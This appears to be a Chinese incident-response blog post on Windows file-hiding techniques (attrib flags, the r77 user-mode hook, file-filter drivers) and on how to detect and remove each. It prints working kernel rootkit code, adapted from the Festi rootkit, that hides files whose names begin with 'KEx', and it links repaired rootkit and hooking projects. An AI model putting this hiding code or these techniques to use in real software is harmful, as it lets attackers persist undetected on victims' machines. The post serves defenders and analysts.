windows文件隐藏技术

分析windows下实现文件隐藏的一些技术手段,并给出排查思路

Posted by Ga0weI on May 7, 2024

0x01 背景

在应急响应中,我们经常会遇到攻击者对受害机器做一些文件隐藏和进程隐藏的操作,其目的在于规避一些杀毒软件和对抗后续排查相关应急响应人员的排查,从而驻留在受害机器上;如下梳理了windows下常见的是实现文件隐藏操作的原理,以及如何对抗这些隐藏手段;

0x02 技术实现

一、attrib 实现文件隐藏(文件管理系统)

原理

这种方式的原理在于通过修改文件属性,从而隐藏文件,windows文件管理系统通过的;

实现方式:

通过命令:

1
attrib +s +a +h +r [文件名]

执行后对应文件消失如下:

image-20240429101101242

对抗手段

打开文件资源管理器选项:

image-20230222095254418

勾选显示隐藏的文件、文件夹和驱动器:

image-20240429100943572

对应隐藏的文件显示出:

image-20240429101205844

二、通过hook相关函数实现文件隐藏(用户层)

原理

这种方式的原理就是修改我们的Explorer.exe或者cmd.exe进程里面在获取文件列表的时候相关函数的实现逻辑,一般来说攻击者倾向于hook ntdll!NtQueryDirectoryFile/EX这个函数,因为在r3层,这个函数就是能做到的极致了;也就是说我们的cmd、explorer 去获取文件列表的时候r3层最后都会劫持这个winapi函数去实现;

实现方式:

这里我们使用一个比较典型的项目举例:

github上的r77-rootkit

这个项目能够实现对特定形式名称的文件名实现隐藏;其原理就是通过hook上面的api实现的;

笔者之前对这个项目分析过,相关文章如下,R77-rootkit分析

现象:

如下是测试使用文件夹,存在四个文件:

image-20240507161203263

安装r77:运行install.exe

image-20240507161327202

再次查看测试文件夹:如下图,可以看到$77开头的文件目录和文件被隐藏了,并且这里注册表键以这个开头也会被隐藏:

image-20240507161342186

image-20240507161550252

对抗手段:

对抗用户层hook,其实就是做解除hook操作,问题就解决了;

所以我们主要看攻击者是怎么hook的,这里攻击者一般都是要实现全局hook,因为我们新创建的explorer.exe、cmd.exe进程都会被hook;

windows下用户层实现全局hook的姿势大概如下几种:

1、使用消息机制SetWindowsHookEx

2、hook 关键进程的 CreateProcess函数,从而hook新创建的子进程(上面r77大概就是这种思路,之前笔者也写过类似项目:https://github.com/minhangxiaohui/My_AllHook_byDetoursx64)

通过火绒剑,可以查看到相关进程,比如cmd是否被劫持了相关函数:如下图,可以看到相关cmd.exe进程的目录查询函数ntdll.dll!Zw/NtQueryDirectoryFileEx进程创建函数:ntdll.dll!ZwResumeThread被劫持了,消息钩子也是一样

image-20240507162247840

快速判断攻击者是否是使用r77干的,有一个小技巧:winlogon 系统进程下面会有一个dllhost子进程(上面提到的r77分析文章里面详细的解释了为什么);

image-20240507163839673

三、通过文件过滤驱动来实现文件隐藏(内核层)

1、使用:Easy File Locker实现驱动隐蔽的方式

安装软件:

1
http://www.xoslab.com/efl.html

打开 软件,并将要隐藏的文件添加进去:

image-20230222100124017

如下:

image-20230222100149375

相关文件已经被隐藏:

image-20230222100209288

排查

查看windows是否存在如下文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

对抗该工具:

这种隐藏方式的原理:启动一个名为xlkfs的服务,加载xlkfs.sys驱动;

但是我们对服务进行排查的时候,使用任务管理器服务里面是找不到的,如下图:

image-20230222100609146

通过wmic 排查服务也不行:

image-20230222100823765

1、这里可以使用sc命令,sc是用来和服务控制管理器和服务进行通信的命令行程序:

1
2
3
4
sc query xlkfs  //查询服务的状态
sc qc xlkfs   //查询服务配置
sc stop xlkfs //停止服务  运行这个就可以了
sc delete xlkfs //删除服务

停止服务之后:

image-20230222101324424

2、通过msinfo32、火绒剑、pchunter等之类的工具,如下图,可以看到xlkfs驱动正在运行:

image-20240507152310842

2、通过自拟的文件过滤驱动实现文件隐藏

原理:

如下图是windows的应用层api调用,内核调用情况,可以看到,rip传递到驱动以及更底层的物理设备之前是先要经过过滤驱动的,通过在这里实现文件过滤驱动,匹配特殊的rip信号形式,比如:IRP_MN_QUERY_DIRECTORY\IRP_MJ_DIRECTORY_CONTROL之类的,从而对其特殊处理,实现文件隐藏;

image-20240507143157056

这里我们拿之前的rookit举例:

Festi Rootkit

曾经再过去的一段时间里,Festi Rootkit 是全球最活跃的 rootkit之一,其内核层实现文件隐藏的方式如下,笔者通过修复相关老项目代码,还原了该操作的实现:

参考:https://github.com/loneicewolf/KernelMode-Code/tree/004c1bd1cd297ff815ba40ed2adbe9daacbed1f1/FestiRootkit

还原之后的项目:https://github.com/minhangxiaohui/FestiRootkit_fix

关键代码:如下,为驱动对象注册IRP_MJ_DIRECTORY_CONTROL信号,并实现相关回调处理逻辑,提取文件名,文件目录名,判断是否以KEx开头,匹配就直接把其从链表中去掉(windows 目录列表内核处理的时候就是一个类似链表的东西,把一个个文件链接到一起,这里隐藏操作就是链表断链操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
	KExplorer::KDriverObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] =
		[](PDEVICE_OBJECT DeviceObj, PIRP Irp)
	{
		DbgPrint("run IRP_MJ_DIRECTORY_CONTROL\n");
		IoCopyCurrentIrpStackLocationToNext(Irp);
		IoSetCompletionRoutine(Irp,
			(PIO_COMPLETION_ROUTINE)SystemRootHookCompletionRoutine,
			IoGetCurrentProcess(),
			TRUE, TRUE, FALSE);
		return IoCallDriver(((SysRootExtension*)DeviceObj->DeviceExtension)->LowerDevice,
			Irp);

	};
	
NTSTATUS
SystemRootHookCompletionRoutine(
	PDEVICE_OBJECT Device,
	PIRP Irp,
	PEPROCESS Process
)
{
	auto Extension = (SysRootExtension*)Device->DeviceExtension;
	auto Stack = IoGetCurrentIrpStackLocation(Irp);

	if (KeGetCurrentIrql() == PASSIVE_LEVEL)
	{
		if (Extension->WhichDevice == 1 &&
			Stack->MajorFunction == IRP_MJ_DIRECTORY_CONTROL &&
			Stack->MinorFunction == IRP_MN_QUERY_DIRECTORY &&
			Process != nullptr)
		{
			DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1\n");
			KAPC_STATE ApcState;
			KeStackAttachProcess((PRKPROCESS)Process, &ApcState);

			switch (Stack->Parameters.QueryDirectory.FileInformationClass)
			{
			case FileBothDirectoryInformation:
			{
				if (!Irp->IoStatus.Information || !Irp->UserBuffer)
				{
					break;
				}
				DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1 AND 2\n");
				auto FileInfo = (PFILE_BOTH_DIR_INFORMATION)Irp->UserBuffer;
				auto Previous = FileInfo;
				while (FileInfo->NextEntryOffset)
				{
					if (FileInfo->FileNameLength > 3)
					{
						if (FileInfo->FileName[0] == L'K' &&
							FileInfo->FileName[1] == L'E' &&
							FileInfo->FileName[2] == L'x')
						{
							Previous->NextEntryOffset += FileInfo->NextEntryOffset;
							FileInfo = Previous;
						}
					}
					Previous = FileInfo;
					FileInfo = (PFILE_BOTH_DIR_INFORMATION)((ULONG_PTR)FileInfo + FileInfo->NextEntryOffset);
				}

			} break;

			case FileIdBothDirectoryInformation:
			{
				if (!Irp->IoStatus.Information || !Irp->UserBuffer)
				{
					break;
				}
				auto FileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)Irp->UserBuffer;
				auto Previous = FileIdInfo;
				DbgPrint("run IRP_MJ_DIRECTORY_CONTROL AND 1 AND 3\n");
				while (FileIdInfo->NextEntryOffset)
				{
					if (FileIdInfo->FileNameLength > 3)
					{
						if (FileIdInfo->FileName[0] == L'K' &&
							FileIdInfo->FileName[1] == L'E' &&
							FileIdInfo->FileName[2] == L'x')
						{
							DbgPrint("# %.*S\n", FileIdInfo->FileNameLength / sizeof(wchar_t),
								&FileIdInfo->FileName[0]);
							Previous->NextEntryOffset += FileIdInfo->NextEntryOffset;
							FileIdInfo = Previous;
						}
					}
					Previous = FileIdInfo;
					FileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((ULONG_PTR)FileIdInfo + FileIdInfo->NextEntryOffset);
				}
			} break;

			default: break;
			}

			KeUnstackDetachProcess(&ApcState);
		}

	}
	/*
		don't really need to implement this, since this is aimed at
		the network device Festi creates; maybe I'll add it later as well
	*/
	if (Extension->WhichDevice == 2)
	{
		/* ... */
	}

	if (Irp->PendingReturned)
	{
		Stack->Control |= SL_PENDING_RETURNED;
	}
	return STATUS_SUCCESS;
}

现象:

未加载该过滤驱动前,通过文件管理器打开文件夹显示如下:

image-20240507150631165

加载驱动:

image-20240507150654458

再查看文件:可以看到以KEx开头的文件和目录被隐藏了

image-20240507150713679

image-20240507150850300

对抗排查:

通过火绒剑查看内核加载驱动情况(这里因为本身罗列驱动就是一个被劫持的操作,所以使用devicetree或者系统自带的msinfo32之类的命令查不到这个驱动),挨个过可疑驱动:

image-20240507153904434

image-20240507153934344

通过火绒剑查看,主要看 安全状态是未知,没有识别出公司名的;然后看安全状态是数字签名的(因为有些签名可能泄露);

然后还有就是结合相关驱动的IRP Dispatch情况去排查,是否存在对应的IRP信号,比如IRP_MJ_DIRECTORY_CONTROL这种;

image-20240507153639100

如果device没有命名,也可以排查出来:

image-20240507155059869

然后再驱动中找到:

image-20240507164221657

然后卸载、删除对应恶意驱动:

image-20240507165139853

0x03 总结

windows实现的文件隐藏的三种实现方案:

1、通过文件系统

2、通过用户层hook

3、通过文件过滤驱动

本文对相关原理描述分析,并且给出了排查思路和解决方案;

其实去排查的时候最快的方法就是使用火绒剑,因为火绒剑,本身是使用自己的sys文件来实现所有操作的,所以基本都不会受影响,按这几个大方向排查即可;